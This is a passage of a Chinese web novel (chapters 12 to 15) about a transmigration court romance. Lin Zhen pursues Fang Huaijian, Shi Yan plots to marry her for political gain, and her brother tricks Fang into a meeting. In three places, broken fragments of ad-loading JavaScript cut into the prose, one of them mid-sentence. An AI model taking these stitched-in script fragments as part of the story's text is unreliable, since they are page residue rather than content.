那白玉般手腕顿时像系了红色的粗绳,方怀简看得心里直冒冷气,忍不住嚷:“别捏了!” 林蓁疼醒,茫然睁开眼睛。 一时有点儿迷糊,眼中尽是方怀简,他满眼关切一眨不眨看着她,林蓁才想起刚刚之事。 她想亲吻飞飞,从前日见到他那一刻就想个不停,她很想很想真真切切拥有他,和他有肌肤之亲。 她也想这样刺激飞飞,这个时空里他应从未接触过女子,这样待他说不定他回家辗转反侧会想起些什么。 她亦想到过后果,可她没想到这么疼,她的肩胛骨似乎已经七零八碎散架了,只有薄薄一层皮肤勉强包裹。 林蓁坐了起来,肩膀脖梗疼得更厉害,稍微动一动都牵扯得五脏六腑跟着痛,她看了看手腕,那里也疼,现在红彤彤一片。 方怀简问:“你可有事,可否走动?” 时隽不满道:“又没碰她腿!一点碰伤,两天就好!” 林蓁撑着右手,艰难站起身,又忍痛勉强弯腰拍拍身上细土。方怀简似乎想帮忙,但他晃了晃身形,终究站在原地未动。 “你真的没事吗?” “有事你送我回家?”林蓁抬眸看他。 方怀简一时语塞。 林蓁这会儿没心思和他说话,她真的很痛,只想快点回家上点药减缓下痛感。不过看到飞飞愧疚眼神,林蓁还是不忍心,她温声道:“我不怪你”。 时隽一旁冷笑:“你还要怪谁?再有下次我打上英国公府”。 林蓁并未搭理时隽,她的目光始终在方怀简身上。 她问方怀简:“你会这样做吗?” 方怀简无法回答是或者不是,迟疑须臾,他应道:“发乎情,止乎礼”。 林蓁微微一笑:“你别听他的”。 时隽:“你也知道怕”。 “我这样就没想过名声”,林蓁看着方怀简,眸中似有泪光,“我担心以后你回想今日会难受”。 时隽听了心里直咯噔,目光看向方怀简,他那僵硬的表情简直了,他果然被这句话拿捏了! 林蓁道:“我先回去了,以后再约”。 “还想下次?!”时隽亦是佩服,都挨打了林蓁的嘴还硬如铁。 林蓁视时隽为空气,亦未等方怀简回应,转身径直往巷口方向走去。 她的身形似乎在发抖,脚步亦有些歪斜,方怀简盯着林蓁背影目不转睛,她的脖梗似乎红了,乌黑秀发遮掩了大部分,看得并不清楚。 睁大眼睛再欲分辨明晰时,林蓁已拐出巷口。一股难于描述的滋味在方怀简胸口渐渐弥散,似乎有些酸,有些疼,有些空落落,有些怅惘。他垂首,手中紫色绣袋撞进眼帘,他缓缓攥紧了它。 巷内只剩两个斜长的身影,时隽看着发呆的方怀简,这个结果和他想的一样,又似乎哪里有说不出来的不一样。 总归林蓁一时半会不会再出现,时隽懒得多想,拉住方怀简的胳膊也往外走:“喝酒去喝酒去,去去晦气!” 12. 第 12 章 芙蓉醉是皇城闻名的酒楼,自制的芙蓉醉别具一格,醇厚绵长,辛辣中有回味良久层次分明的甘甜。 方怀简、时隽常来此处聚饮,店家对他俩已十分熟识。 不用小二引路,两人熟门熟路进了常来的雅间,时隽像往常一样点了酒菜。 见方怀简端坐八仙桌前,两眼空洞看着虚空等着上菜,一改往常爱说爱笑模样,时隽抓耳挠腮,挤出几句安慰的话。 “我在巷口没见一个人影,今儿之事,不会再有第四人知道,你大可放心!” 他本就担心方怀简被占便宜,可林蓁所为完全超出他的想像,她上下其手,像八爪鱼一样缠在好兄弟身上,不说方怀简本人,他一个看客都眼中冒火,血脉偾张。 幸好他在场,果断结束这场荒唐! 方怀简没说话,给自己斟了杯茶,端起茶盏细细抿了一口,才似回神。 他看向时隽:“你到底使了几分力,她伤得不轻吧?” 时隽大力士无人不知,他捏了林蓁手腕就红肿一片,那一记手刀劈向林蓁,此刻方怀简回忆刚才细节,他都感受到了那阵劲风,林蓁必然伤重。 虽然他未出手,可和他紧密相关,那会儿他还指着时隽救他,此刻方怀简便觉得,那手刀似他劈向林蓁的。 时隽哑口,他还以为方怀简担心事情泄露声名有损,原来都是自己瞎猜! “打都打了,我还赔罪?”时隽怏怏,“下次这样,我照打不误!” 他眼里向来只有好痞,没有男女之分,方怀简很了解时隽,他从小就是个直爽性情,没那么多弯弯绕绕,这也是他喜欢和时隽往来的原因之一,不像自己书多读了几年,常常不自知地束手束脚,时隽素来不服就干,能动手绝不动嘴。 听闻他还要打,方怀简不敢再有下次,即便林蓁再约他,看时隽这架势,他没胆量再约时隽作陪。 “幸好今日有我,不然以你那俩长随性格,估计腿比你先软!” 想想德山德水跟着自己这些年,潜移默化增添不少雅人清致气质,方怀简承认,若他二人在场,可能更比他傻眼。 时隽担心道:“林蓁不到处乱说,这事儿就和没发生过一般,但她这般放肆,只怕就想到处说了人知道,她缠上你,逼你不得不娶她!” “应该不会”,方怀简对此并不紧张,“这事儿在乡野说出去她会被沉塘,在皇城她会被家人送去庵堂,她还不至于为了嫁人蠢至如此”。 时隽想了想,点点头:“那这事儿就到此为止,以后你不见她,她总不会当街把你拦下”。 他想像了一下林蓁拦下马车,方怀简拒不下车的情形,林蓁气急败坏中被家人强行捆绑直接塞进马车,送去郊外人迹罕至的庵堂。 很爽。 “没事了,没事了,喝酒喝酒!”时隽莫名高兴起来,菜还没上自己先干了两大碗。 时隽喝得高兴,方怀简却没什么胃口,往日十分喜欢的芙蓉醉竟是潲水一般,有一瞬他都想叫来小二质问,但看时隽喝得兴致盎然,猜想应是自己出了问题。 和时隽散了回府已是夜深,父母早已习惯方怀简和时隽喝酒晚归,并未多问什么,方怀简请了安回到自己书房。 在芙蓉醉他没什么胃口,酒菜均未吃几口。这会儿他遣开下人,自己点上灯,在灯下把林蓁绣袋里的点头一一拿出来,整整齐齐摆在书案。 一共六种式样口味,每样双份,松鹤楼点心精致诱人。 有一样他从未吃过,其余五样他常吃,都是他喜爱的口味,有两样他甚至想得紧,前日叫府中厨房刚刚做过。 方怀简陷入沉思。 便是厨房仆妇,或者父母哥嫂,能立刻说上自己爱吃的口味,但知晓两三个简单,一下子让他们说上五六种,他们未必说得出来。 林蓁就算找人打听,这么短的时间她能这么大能耐打听如此详尽?可她就是做到了,她一个英国公府庶女,怎么做到的? 方怀简捡起他从未吃过的那样点心,油炸点心酥壳似根根金丝,金黄脆香,即便从未吃过,看了卖相他就生了品尝的欲望。 他轻轻咬上一小口,金丝齐齐脆断,外酥里软,里面包裹的馅料似蛋黄和奶的混合物,并不凝固,口感丝滑如丝绸,奶和蛋黄的浓郁在唇 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舌间弥漫。 她怎么如此了解他的口味? 舌间慢慢体味,想起袖中还有一幅画,方怀简拿出那轴画径直放在烛火上。 火苗瞬间点燃轴画的一端,并未冒出火焰,也没有声音,画纸一端迅速萎缩成黑黢黢物质。 然而一瞬间,方怀简改变主意,他手松了瞬,轴画掉在书案上,滚到那些松鹤楼的点心旁,一端已被烧黑。 方怀简展开轴画,虽烧了一部分画纸,所幸那部分本就留白。 这会儿四下无人,万籁俱寂,只有窗前虫鸣,方怀简以为自己可以心平气和重新再看画,哪料却仍和白日一样,在看到画的那瞬,脸皮不可抑制地滚烫起来。 书房静寂无人,便是脸皮发烧,方怀简仍强撑着细细瞧起画来。 林蓁画技极佳。 画中自己形象刻画入微,栩栩如生,连根根发丝都和自己无异。双手自然覆在女子胸前,那混然天成的动作似乎早已习惯成自然。 方怀简强压下心中不适。 怀中女子自然从未见过,样貌比不上林蓁,却别有一番清秀冷冽气质,望之如见山巅雪云间月,偏她躺在自己怀中还带着一抹惬意甜笑,那山巅雪的冷意云间月的孤傲在这甜笑中似乎化为甘甜的山泉轻柔的月辉。 若不细想这画中的男子是自己,倒是一副良缘佳偶的画作。 她为何画个陌生女子而不是自己? 不至于脸皮薄担心画落他人之手?既然一心爱慕自己,似乎应该让自己日日见到她的样貌才是。 方怀简再看画纸,卿卿我我情侣身后远处画有一红色波浪线,却只有两道连着的波浪,也像两座连绵山峰,山峰顶上整齐小楷写着两字,“交大”。 画上无钤印,亦无他字,方怀简揣摩“交大”含义。 鸳鸯交颈期千岁,正大光明愿百年? 想不出满意解释,方怀简不想再劳心费神林蓁异于常人的心思,他小心把画纸重新卷好,置于书案上卷缸里,旋即想起什么,起身在紫檀梅花多宝柜前后打量,终是把卷缸里的画纸小心谨慎藏在多宝柜里无人注意的一个角落。 13. 第 13 章 时隽回了侯府刚刚下马,长随思礼从檐廊边跑上来,边跑边可怜兮兮道:“二公子,你可回来了!夫人把小的痛骂了一顿!不是大公子说情,这会儿你见不着我了!”说着,举起袖口在眼角边抹了把泪。 时隽拍了一下脑袋,糟了,他忘事了! 他边往里走边揉思礼脑袋:“哭啥,只要我没死,你被赶出去我也找你回来!” 思礼哭丧着的脸忍不住裂开一个笑,紧接着小心叮嘱:“二公子,夫人这会儿还在发脾气呢”。 时隽有些发愁。父亲擢升为金吾卫大将军后离开了京畿外的神策军,每日在皇城里上值,不知自己行踪,是以他多一事不如省一事,向上峰告假没和任何人提过,亦嘱咐过思礼就呆自己院子里哪儿都不要去。 本想方怀简的事花不了太多时间,怎知林蓁如此惊天动地,竟是个炸雷般人物,以至于他都得喝点酒压压惊,这一惊一乍他忘了给家里捎口信,露馅了! 硬着头皮时隽迈进母亲谢氏的吟月院,内心祈祷哥哥时彦也在。 “母亲”,时隽轻扣几下房门后推开,站在门口唤了一声赶紧垂首,余光见时彦亦在,心内一阵狂喜。 谢氏正和时彦说话,她合上账本摞起在书案上,转身向时隽走来:“究竟何事你得告假一整日,你爹的金吾卫之职屁股还没坐热,你别给他招事!” “不过告假而已,能招什么事?” “你还说!”谢氏站在儿子面前,看他不服气的模样气得发晕,“你是傻子吗,我说过多少遍的都记不住?” 自己夫君时世诚提着脑袋一路浴血,才到今日位置,金吾卫大将军亦算捡漏,前任刚好年岁大了主动请老致仕,时世诚凭借过往军功和对天子的赤胆忠心才得天子首肯,多少人眼红耳热暗暗看着,就指着自家出什么差池跌回原位。 这些话她叮嘱过时隽无数次,让他循规蹈矩夹着尾巴做人,可他真的像傻子似的总不能让她安宁,他爹虽没读多少书,可一点儿不傻啊。 谢氏手指在时隽肩上戳个不停:“方怀简啥事你得陪他一天?他爹大将军世家出身,他自己翰林院榜眼,家里文武兼备,啥事得你一个小都统显能耐?” 时隽无助的目光看向时彦。 时彦会意,走过来劝说:“母亲,您老闺蜜间还有许多事不语他人,他俩多年好友,哪能没点儿事呢”。 谢氏气道:“他们下值后喝酒,我从来不说,可方怀简好好在翰林院呆着呢,他倒是跑哪儿去了?还故意隐瞒!” “不回家吃饭也不让人送个口信,我们等你快半个时辰!” “再有下次,我发卖不了你,思礼思仪和他们的爹娘,我都卖个干净,眼不见心不烦!” “这可记住了”,时彦对弟弟道,“为了你的人,你也得先考虑好了!” 都知道时隽是仗义之人,绝不能忍受自己带累他人,谢氏能想到对他有点作用的威胁也只有如此了,但愿他真放心上。 “母亲,父亲还在花厅等你散步”,时彦扶着谢氏肩膀往门口走,“我和弟弟细说”。 “让他懂点儿事!”谢氏在忿忿中出了门。毅勇侯府的大园子是时世诚见爱妻喜欢花草,花费多年时间整置的,夫妻俩多年来形成习惯,饭后一起在园子里走一走看一看。 时隽长舒一口气。 “一起回吧”,时彦回望着他,“这么晚才回,事情顺利吧?” 时隽“嗯”了一声,跟着时彦出了谢氏的吟月院。 月明星稀,两个大男人没提灯笼,借着月光在小径上安静走着,除了细碎脚步声,只能听到路边时不时虫吟。 时彦开口:“林三姑娘的事了结了?” 时隽道:“算吧,她是我见过的最难缠之人”。 回想她紧搂方怀简,贴在他怀中狗皮膏药模样,时隽直皱眉:“对于她,我们以后绕道走”。 时彦默然,林蓁就是极其难缠的人设,明知亲哥男主四皇子心悦时姝,偏要处处为难她,差点逼死时姝,这会儿男主尚未出场,她和时姝并无直接交集,可这本性倒是暴露得彻底。 既然难缠,对方怀简就这样轻易死心了? 时彦不信,问:“她以后不找方怀简了?” “反正她明白世之不会娶她,以后世之也会避着她”,时隽似乎不想再提林蓁,眉毛一扬不耐道:“不说她了,晦气!” 时彦适时闭口不言。 心中却有间不容息之感。 四年前原主摔下山崖就此去了,他莫名穿来后完全没有原主记忆,既做不了武官,又得学习和了解这个时空里各种,幸好凭借前世经验,如今户部郎中做得如鱼得水。 可全家也就不愁吃穿的水平,在封建时代这种人治社会,稍有不慎便是天渊之别粉身碎骨。 譬如父亲如今金吾卫大将军,看似何等风光,可应该做不了两年。按剧情发展,不出两年,皇子们篡权争斗中当今天子会一命呜呼,在皇城一片混乱的权力倾轧中,林蓁的亲哥四皇子会最终胜出。 父亲如今勉强算进入天子视线,可这对今后五年十年全家安稳富贵的生活毫无帮助。自从穿来这个时空,从暗示到明示,时彦多次劝说父亲早做打算,在众多皇子中做出选择尽早站好队,可他就是油盐不进。别的事儿父亲都听劝,唯独站队之事父亲意志坚定,总说没有当今天子的器重,自己根本不会有今天,天子指谁他就站谁,天子在他唯天子。 也是,若无父亲对天子心无旁骛披肝沥胆,守卫皇城安全的金吾卫大将军也轮不上他。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 可剧本里,今后是四皇子的天下。时彦想过拜码头进四皇子核心圈,他曾几次找机会在四皇子面前露脸,不知是位卑言轻还是四皇子谨小慎微,愣是一个涟漪都未泛起。大概他不过品阶低下武官出身凭天子恩恤才得的户部郎中,无论官职还是家族在四皇子眼中小得没眼看,根本不值得他给一个眼神。 明年春闱,林蓁弟弟林承俭会高中会元,参加殿试时被四皇子认出佩戴在腰间的玉佩。这玉佩为关键道具,是极顶稀罕的名玉黄金玉,当今天子当年赠给林蓁母亲的,本是一对,四皇子和林蓁各执一块,林蓁在林承俭临考前送予他。 从此林蓁麻雀变凤凰,无论当今天子身前身后,她的富贵荣华显达烜赫如日中天,直到作死一次又一次加害四皇子心上人时姝,最终冲破四皇子底线送她去庵堂。 明年春闱,不到一年时间,娶林蓁迫在眉睫。 不仅物理上占有林蓁,她还得对自己心醉魂迷,最好山无陵天地合那种,不然大舅哥四皇子如何肯信任提携妹夫呢。 可突然冒出来的路人甲方怀简怎么回事? 时隽不愿深说,时彦只能静待时机。 尚在酝酿向母亲谢氏开口求娶林蓁时,林蓁嫡母陈氏来毅勇侯府拜访。时彦并未见到陈氏,下值回家时听到门房提及颇为意外。 一家人膳厅用晚膳时,谢氏情绪和往常相比明显低落。 毅勇侯府不像别家人口多规矩大各个主子单独用膳。时世诚喜欢热闹,喜欢和孩子们在一起,谢氏也就依了他,五口人从来一起用膳,不能回家用膳的都会捎口信。 时彦刚穿来时很不习惯,他多少年都是独自吃饭。从小读国际学校寄宿制,最初父母周末接回家,不知哪天起父亲或母亲单独来接了,再后来司机保姆接,一直到出国留学。留学回来单独住,会和父亲一起吃工作餐,母亲倒是常常打电话约吃饭,可他早就没儿时和父母吃饭的期待,更没那个时间了。 现在时彦倒是渐渐喜欢,食不言等规矩在武夫家里是从没有的,家人说说笑笑间有时能捕捉一些重要信息,饭后等着被谢氏随机点名陪散步。 感觉谢氏不对劲,时彦给时姝递眼色。她是家里开心果,最会逗趣父母,可今晚她不仅眼瞎,吃饭还飞快,吃完抹抹嘴找了个借口赶紧溜了。 时隽有事未归,饭桌上只剩下毅勇侯夫妇和时彦。 时彦隐隐猜到一些,问道:“母亲今晚何事不开心?” 时世诚无奈道:“英国公府陈氏带了厚礼托你母亲做媒,去方府说亲,你母亲急呢”。 如海上刹那起了龙卷风,心内顿时翻江倒海,时彦面上只略略扬了扬眉,笑道:“金玉良缘,全靠红娘成全,母亲这是行善呢”。 谢氏直接翻了个白眼。 14. 第 14 章 陈氏骨子里鄙视林若柏林蓁父女俩寡廉鲜耻,行止素来不屑与他俩为伍,可林若柏求她帮衬林蓁这桩亲事时,她思虑良久,内心虽极为不喜但还是勉为其难应承下来。 林蓁和户部员外郎杜大人嫡子的亲事黄了,她年岁大不尽早出嫁自己闺女林葳出嫁时不好看,难免闲言碎语。再者自己让盯着林蓁的丫头竟被她甩开,林蓁和时姝跑去松鹤楼吃吃喝喝,她怀疑这里面定有猫腻,说不定林蓁和方怀简私通款曲。这男人动了心九头牛都拉不回来,陈氏深有体会。 她带着林若柏准备的厚礼拜访毅勇侯府,厚着老脸先吹捧感谢一番谢氏,说她独独送林蓁那么贵重的玉镯,那是独具慧眼爱重林蓁,接着言与心违描绘林蓁胜似天上仙女,最后再说孩子们有这个心思,就指望谢氏成全。 谢氏先是震惊,再后不知何种心情,全程僵硬保持微笑,有苦说不出。当初第一眼她确实觉得林蓁长得好,可送玉镯根本不是她的主意,现在变成她爱重林蓁的铁证。 而且大家都看到月洞门前发生了什么,陈氏一口一个孩子们有这个心思,就差谢氏这个牵线搭桥的红娘,说得她也迷糊生疑,方怀简和林蓁到底发生了什么,以至于英国公府都要主动说亲,那肯定两人之间应该有点东西。 谢氏不想应允,但也不好一口回绝,好在陈氏没有催迫的意思,只求谢氏去方府问一问探听一番。但即便如此,谢氏亦犯难,当初方怀简母亲袁氏曾有时姝做儿媳的意思,被谢氏婉拒,现在谢氏怎能给袁氏说一个各方面不如时姝的女子做儿媳呢。 她倒不是嫌弃林蓁,可客观条件摆在那儿,林蓁就是不如时姝,即便林蓁和方怀简情投意合,这个红娘也不是她来做。 方继中大将军曾多年是时世诚上峰,谢氏和袁氏因而走得勤,知道方府里的一些事。方怀简已过弱冠,这些年那么多贵女虎视眈眈,按说早就该成亲,主要原因是母亲袁氏和祖母秦氏不和,各有相中的人选,两位后宅女主人相持不下,而方怀简自幼在老家祖母膝下读书长大,两边都想瞻顾,便耽误到现在。 谢氏怎能把林蓁这样一个方府两代女主人都看不上的姑娘推到她们面前呢。 这些话没法说给陈氏,谢氏愁得饭都吃不下,看到时姝就心烦,归根结底都是自家姑娘惹出来的事。 见谢氏长吁短叹,时世诚为媳妇出主意:“你生辰袁夫人病了未来,这不正好是个机会?你去方府探望袁夫人,顺便提一嘴这事儿,成与不成都没关系”。 谢氏给了时世诚一眼刀:“袁夫人未来,你没想过就是生咱们的气吗?方怀简多少高门小姐想嫁,我们还嘴硬拒了,袁夫人看我们这种不知天高地厚的人就来气!若真病了,我去病榻前提这事,袁夫人本要病好了都得再躺半个月!” 时世诚不知那日生辰宴月洞门的事,他疑惑:“陈夫人都来说了,那林家姑娘和方怀简总得有点什么?不然差距也太大了点”。 方怀简是皇城贵妇们眼中乘龙快婿最佳人选,时世诚早有耳闻,他虽未见过林蓁,但事实明摆着,林蓁在这些贵女中根本排不上号,如此有目共睹之事,英国公府还要为林蓁说亲,时世诚猜测,那必是年轻人之间有了心意。 “不管有没有,我去说就会碰一鼻子灰!彻底得罪方府的人!” “哎哟,我怎么摊上这事了!都是时姝找事!” 时世诚道:“关姝儿什么事”。 “那关你的事!你不整这生辰宴啥事儿没有”。 时彦安慰:“母亲别急,总有办法”。 “你不给那玉镯也没这事儿”。 谢氏囔囔的事儿时世诚听得并不明白,不过他压根不在意事情本身,只关心媳妇心绪,时世诚讨好道:“得,我们都是事儿精。走,去园子里转转,说不定就想出不得罪人的办法”。 “你啥都不知道”,见时世诚要来拉自己起身,谢氏心烦意乱,“我看见你就烦”。 谢氏脸上有愠色,时世诚伸出的手停在半空,他顿了顿收回手,心思一转看向时彦:“彦儿,陪你母亲去园子走走”。 时彦摔下山崖丧失记忆,很长时间才慢慢恢复,那以后谢氏从不在时彦面前发脾气,不仅自己不发脾气,也提醒众人勿在时彦面前失态,唯恐哪天他受了刺激,那遭过重创的身体停止工作又不认识人。那些照顾毫无记忆且只能瘫在床上的病人的日子太可怖,她一丝一毫都不想再有这种可能。 时彦因此成了毅勇侯府灭火之人。 和时彦在园子里转,谢氏虽不虞,但也不再说什么。 春夏相交的傍晚,空气都令人迷醉,余霞成绮,映得园中碧潭的水似五彩锦缎。时彦随手抓了块小石子向水面用力飞出,石子在水面上连续弹跳三下没入水中,五彩锦缎似被揉碎,泛起阵阵水纹。 看着潭中阵阵涟漪,谢氏忽的笑起来。 时彦看向谢氏,谢氏笑道:“你的水漂还是这么好”。 时彦并不知道原主爱玩这个,见谢氏高兴,又捡起几颗石子继续往水里飞,这次颇为认真地飞出石子,石子在水面上弹跳有五六下之远。 谢氏讶然:“比以前更好了”。 时彦颔首,笑道:“我们都比以前更好,母亲不该高兴吗?欲达高峰,必忍其痛,若是以往,谁会到毅勇侯府拜访请托呢。以后父亲继续高升,来找母亲请托之人拜托之事怕是多种多样,母亲可是烦不过来呢”。 谢氏了然,脸上笑着却是长叹了一声。 时彦道:“父亲刚刚擢升,母亲不想得罪人,特别是我们的老熟人父亲的上峰,两害相较取其轻,不如回绝英国公府”。 “可我送过林蓁手镯,这样回绝她,是打我自己的脸,人家也没那么糟糕,我连个口信也不给捎就是看不起人”。 “而且”,谢氏犹豫,“陈氏不可能不知道方怀简是香馍馍,林蓁这条件,按说是够不上袁夫人的眼的,可陈氏还来托我,回想那日园子里情形,林蓁和方怀简有什么吗,我若一口回绝,那是坏了有情人的好事?唉,便是他俩有心,我开口也是得罪袁夫人的事”。 谢氏突然想起,那日时彦在现场,她问:“那日你就在跟前,你看出林蓁和方怀简什么了吗?” 时彦道:“我哪里看出什么,但方怀简想什么,家里不有人比我更清楚?问时隽不就明明白白?” 时彦顿了顿,看向谢氏,微微一笑:“我有个馊主意,虽损但不失为一个好法子,母亲若觉得不妥,听过便算”。 谢氏颔首:“你说”。 “若时隽说方怀简无意,那就是英国公府一相情愿,这事儿铁定成不了。您去方府拜访压根别提这事,回头直接书信英国公府陈氏,把礼退回去,就说袁夫人婉拒”。 谢氏愕然。 时彦继续道:“英国公府的人不会觍颜追问,方府也没人会惦记这事儿,这事不就了了吗。和母亲向袁夫人开口的结果并无差异,但谁都不得罪”。 谢氏缄默不语。 时彦见此哈哈一笑:“我就随便一想随口一说,母亲听过就算”。 时彦似是调侃,谢氏却听进了心。 自时彦身体大好,他就变了个人似的,极有主张。偏偏在她和时世诚担心时,他独自披荆斩棘,钱庄借钱买田置地购置商铺不说,连夫妻两人从未想过的户部他都自行跑动最后谋了份差事,所做之事都是夫妻俩做梦都不敢梦的,却件件桩桩都顺利都叫响。 夫妻俩这才逐渐跟上儿子的步伐,渐渐日益信任,谢氏结交了许多贵妇谋得许多商机和信息,时世诚在昔日和现今上峰前时不时走动,意想不到擢升到金吾卫大将军,唯一失手的就是时姝的亲事,回了方怀简母亲的口风,可时彦一点儿没后悔的意思,让谢氏隐隐又浮现些期待,或许时姝真有更好的亲事在前方。 现下时彦随口一说,谢氏明白那并非无心,她虽觉得如此这般对英国公府确是没品无行,但细细一想,最终结果着实没有两样。 心中徘徊间,又听时彦道:“母亲,这馊主意之所谓馊,便是不便向任何人提及”。 谢氏目光对上时彦漆黑眼眸,他神色轻松目光柔和,可谢氏看出这份淡定中隐隐有坚毅果敢,那是和他三年来多次大胆投资敢于冒险不惧博弈的做派如出一辙的眼神,自信坦然,让人定心安神。 情场失意官场得意?谢氏有时会胡思乱想,怀疑时彦因身体原因没了男女之事的期待,反而有更多兴趣和心力潜心笃志做事业,否则怎么解释他学武之人竟完美胜任户部之职,还带领全家脱贫致富呢。 大病一场他脱胎换骨,身体有疾却有了超脱普通人的意兴和志向,或许这使他跳脱俗世更能清醒理智地看待周围,想出让人惊叹的主意。 谢氏不知该为儿子欢喜还是心疼,静默中先前烦恼散得杳无踪迹,她有了打算,冲时彦淡淡一笑:“且问了你弟弟再说”。 * 那日宫门前林蓁对方怀简强行搂搂抱抱,做尽在方怀简看来只能夫妻间方可为之事,全然对方怀简情根深重难分难舍模样,以至于方怀简万分笃定,林蓁很快会再来找他。 有时坐马车里突然听到一阵响动,或者马车忽然急停,或者长随急匆匆跑来,方怀简总是心惊一瞬,猜想下一刻林蓁就会出现在他的面前,然而并没有。 他记得林蓁提过,英国公府会派人到方府探探口风,他每日下值回家特意留心门房,然亦未听说过有什么和英国公府有关联的人来拜访。 母亲和大嫂二嫂倒有些贵妇朋友间走动拜访,但和往常一样,并没什么特殊之处。 方怀简道不明的期待渐渐淡了下来,其实谈不上期待,他从未有娶她的想法,不过见过两次说过几句话,惊讶于她的直率坦然和自以为是的妄想,以为她的狂热至少会坚持一段时间。 这样挺好,林蓁只是和过往各种贵女偶遇类似的一个人生插曲罢了,虽然偶尔午夜会梦回宫门那日,但那日之事实在骇人,梦见也没什么奇怪,时间总会尘封起过往。 眨眼间已近五月,日光有了暑气。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 这日方怀简如常翰林院下值后正要迈进自家马车,一年轻公子翩翩然出现在他身后,那公子眼见方怀简即将上车,急唤了一声:“方翰林且留步!” 方怀简驻了脚步,转身。 眼前为一陌生翩翩少年,身着霁红色飘逸锦袍,腰系青玉缎带,皮肤白皙黑眸清亮,一副中秋明月好样貌,浑身矜贵世家公子模样。 少年疾步行到方怀简面前,向他作揖行礼。 不知怎的,方怀简目光被少年那身霁红锦袍吸引,霁红介于红紫之间,他莫名就想起林蓁提到过自己爱紫色。 “方翰林久仰,在下林承俭,林蓁之弟”。 吸入鼻腔的空气仿佛瞬间灼烫,方怀简一时闭了气息。 方怀简一动不动也不言语,林承俭礼毕怔怔地看着他。 不过须臾方怀简回过神,他暗暗平复激动的心跳,缓缓问道:“你姐姐找我?” 林承俭面露赧色,羞愧指着不远墙边一僻静之地:“方翰林,可否借一步说话?” 两人走到一处僻静墙角。 林承俭再次作揖行了大礼,方怀简赶忙拦下,问道:“这是为何?” 林承俭愧道:“求方翰林再见我姐姐一面。我姐姐爱慕方翰林,自那日见过方翰林后茶饭不思,病卧在床,一心只想再见一面”。 方怀简不知林蓁向林承俭说了多少两人之间的事,但看少年模样应该知道不少,听着少年转述林蓁对自己思慕不已,方怀简白皙面皮泛起了红。 她得了相思病?方怀简问:“你姐姐病了?” “嗯”,林承俭应道,“心病。虽然家人都劝说姐姐弃了心思,勿有蕉鹿之梦,怎奈解铃还需系铃人,姐姐只说方翰林待她和善友好,从未说过重话,也没说过拒绝她的话,她是如何都不死心”。 方怀简回忆了两次和林蓁交谈的情形,他否认认识林蓁,但确实未明确拒绝过她,不是不想拒绝,那日酝酿好的话尚未出口,时隽就出手打晕了林蓁。 原来她病了,怪不得再未出现。不知她的病重不重,不知她身上的伤好了没有。 方怀简抿紧了唇,垂眸思索片刻,问林承俭:“我见她,但——” 林承俭喜不自禁,忙道:“方翰林不用担心,这次见面虽然也需避着人,但家人都知道,都嘱托过我,让方翰林放心!” “这次我陪着姐姐,让她做不了荒唐事!” 方怀简只觉脸上更烫了几分。 林承俭浑然不觉,继续道:“我们家人都商量好了,这次见面,请方翰林严词拒绝我姐姐,别给她一丁点儿幻想,最好狠狠骂她,骂得她痛不欲生彻底死心才好!” 林承俭坚定道:“这是我们家人的私心,方翰林千万不要顾忌什么女子脸面,否则姐姐只会恋恋难舍,方翰林只管骂到她死心,我们家人会看顾她,对方翰林感激涕零”。 “就此一次做个了断,以后林某不会帮她传信,不会再打扰方翰林!” 方怀简本以为林蓁叫弟弟出面,为的是再见倾诉相思,想着她都生病了,因着自己还受了伤,再见一次未曾不可。 他忐忑再见面时该说些什么,见面是一种希望,他不应该给林蓁这种希望,可对一个爱慕自己相思成疾的病人,方怀简不忍心。 没想到越听越离谱,他是去骂人的吗?可这样又似乎很合理,除了直截了当拒绝还有什么可说的呢,恐怕拒绝她林蓁仍然会听不懂听不进,只有如林承俭所说骂醒她? 他还从未对一个女子做这样的事,心思恍惚间,林承俭已交代了时间地点:“就五月初五端午节申时,未央湖边聚善亭”。 端午节人流攒动,还在湖边? 方怀简问道:“为何此时此地?” 林承俭抱歉道:“林某日日在国子监上学,只有端午节方有假可陪姐姐出门”。 “这地点亦是林某所选,湖边人虽多但并不吵闹,方便说话,而且人来人往,姐姐顾忌脸面不会做出格之事。方翰林,可觉哪里不妥?” 出格之事,不知林蓁和弟弟都说了些什么,林承俭对姐姐秉性倒是了解,方怀简点头:“那便如此”。 林承俭感恩戴德拜别。 上了自家马车,林承俭赶紧撩开车帘看向方怀简方向,方怀简平静上车,行止没有任何异样。林承俭放下车帘长吐一口气,这才感觉浑身大汗淋漓,锦袍都湿透了!他抬袖擦了擦额角的汗,心中侥幸不已,所言之事漏洞百出,万幸方怀简未有丝毫怀疑。 哪里有什么家人知道,除了他没人知道姐姐林蓁约会方怀简的心思。所有的话术都是姐姐绞尽脑汁想出来骗方怀简的,就怕方怀简拒绝再见。 不过他的确只会帮姐姐这一次,姐姐这么好,两次不管不顾约见方怀简,受伤了也不说他一个不字,他若还没个说法,姐姐何必一棵树上吊死? 林承俭回忆方怀简,他确实生得温润如玉,淡雅似菊,可若他对姐姐无情,那就是虚有其表的顽石,路边庸庸碌碌的败菊! 15. 第 15 章 林若柏字斟句酌和林蓁提起方府婉拒亲事时候,林蓁并不意外。 方府看不上她,这是意料之中的事。她只是存着一点儿希翼,那日她亲吻过飞飞,又送他自己的亲笔画,或许他夜晚苦思冥想的某刻,突然想起过往,恰好此时自家上门提亲,岂不是美事一桩。 可飞飞根本没来找过她,她就明白,他没有想起来,此刻这门亲事自然是她痴心妄想白日做梦。 林若柏想安慰女儿:“蓁儿莫难过,方怀简家中父母年岁大,哥嫂侄儿侄女一堆人,关系复杂不好应对,除了皮相好点儿他也没什么特别的,以后爹再给你留心好的”。 林蓁点头,林若柏见她脸色如常,亦无伤心不甘之态,以为此事便了了。 他本以为方怀简多少对林蓁有意,知道自家上门的意思,定会在长辈面前努力争取。林若柏没想过方府立刻答应,但也没想到对方这么短时间干脆利落回绝得彻底,他原认为只要方府不即刻回绝,那就是有戏,这事儿他就有去周旋余地。 虽为女儿遗憾,但到底他不熟识方怀简,并未有什么怅然不快之心。 怎料,林蓁点头后抬眸,对林若柏道:“父亲,我还不想死心”。 林若柏讶然:“都这样了,你还想如何?强扭的瓜不甜,何况方府也不是我们能强扭的”。 林蓁道:“我想见一见方怀简再说”。 